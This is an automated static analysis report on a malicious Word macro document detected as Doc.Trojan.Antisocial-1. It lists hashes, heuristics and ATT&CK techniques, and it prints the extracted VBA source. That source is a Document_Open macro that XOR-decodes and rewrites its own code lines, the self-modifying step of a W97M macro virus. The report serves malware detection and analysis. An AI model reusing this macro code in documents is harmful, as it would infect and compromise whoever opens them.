Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 b5471118ab8efc24…

MALICIOUS

Office (OLE)

61.5 KB Created: 2000-01-20 05:46:00 Authoring application: Microsoft Word 8.0 First seen: 2015-09-26
MD5: 493f7e3055e52dde08882917a306b740 SHA-1: 26ea1614d6ea6f059d72db6cc0589e769f4058ad SHA-256: b5471118ab8efc247f3d60ab1eb52ce530615ec7a1154effcbc124f18aeb3dff
288 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1566.001 Spearphishing Attachment T1071.001 Web Protocols

The sample is a malicious Office document containing VBA macros. The `Document_Open` macro is designed to deobfuscate and execute code, indicating it likely acts as a downloader for a second-stage payload. The presence of VBA macros and the `Document_Open` auto-execution event strongly suggest a spearphishing attachment vector.

Heuristics 6

  • ClamAV: Doc.Trojan.Antisocial-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Antisocial-1
  • VBA macros detected medium 3 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • VBA macro-virus self-replication / AV tampering critical OLE_VBA_MACRO_VIRUS_REPLICATION
    VBA macro programmatically rewrites VBA project code through the VBE object model (CodeModule/VBComponents InsertLines/DeleteLines/AddFromString or OrganizerCopy) to copy itself into the global template and other open documents, and/or disables Office macro-virus protection (Options.VirusProtection = False). This is the defining behavior of the W97M document macro-virus family — self-replicating code with no benign document use, independent of any AV signature.
    Matched line in script
    ThisDocument.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine V1, V2
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • Document_Open macro low OLE_VBA_DOCOPEN
    Document_Open macro
    Matched line in script
    Private Sub Document_Open()
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 9283 bytes
SHA-256: 026c6dc77b02a4089023dcd7120745a8f910a8aea47475979afd3890c2fa0583
Detection
ClamAV: Doc.Trojan.Antisocial-1
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Application.EnableCancelKey = wdCancelDisabled
For V1 = 17 To 36
V2 = Null
V3 = (ThisDocument.VBProject.VBComponents.Item(1).CodeModule.Lines(V1, 1))
V4 = Asc((Mid(V3, 2, 1)))
V5 = V4 Xor 39
For V6 = 4 To Len(V3) Step 2
V7 = Asc(Mid(V3, V6, 1)) Xor V5
V2 = V2 & Chr(V7)
Next
ThisDocument.VBProject.VBComponents.Item(1).CodeModule.ReplaceLine V1, V2
Next
Call Demo
End Sub
Private Sub Demo()
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End Sub

' Processing file: /opt/analyzer/scan_staging/54f8332441d749ae9306c01ffd0eeac0.bin
' ===============================================================================
' Module streams:
' Macros/VBA/ThisDocument - 31287 bytes
' Line #0:
' 	FuncDefn (Private Sub Document_Open())
' Line #1:
' 	Ld wdCancelDisabled 
' 	Ld Application 
' 	MemSt EnableCancelKey 
' Line #2:
' 	StartForVariable 
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' 	EndForVariable 
' 	LitDI2 0x0011 
' 	LitDI2 0x0024 
' 	For 
' Line #3:
' 	LitVarSpecial (Null)
' 	St V2 
' Line #4:
' 	Ld V1 
' 	LitDI2 0x0001 
' 	LitDI2 0x0001 
' 	Ld ThisDocument 
' 	MemLd VBProject 
' 	MemLd VBComponents 
' 	ArgsMemLd Item 0x0001 
' 	MemLd CodeModule 
' 	ArgsMemLd Lines 0x0002 
' 	Paren 
' 	St V3 
' Line #5:
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' 	LitDI2 0x0002 
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' 	Paren 
' 	ArgsLd Asc 0x0001 
' 	St V4 
' Line #6:
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' 	LitDI2 0x0027 
' 	Xor 
' 	St V5 
' Line #7:
' 	StartForVariable 
' 	Ld V6 
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' Line #9:
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' Line #10:
' 	StartForVariable 
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' Line #11:
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' Line #12:
' 	StartForVariable 
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' Line #13:
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' Line #14:
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' 	EndSub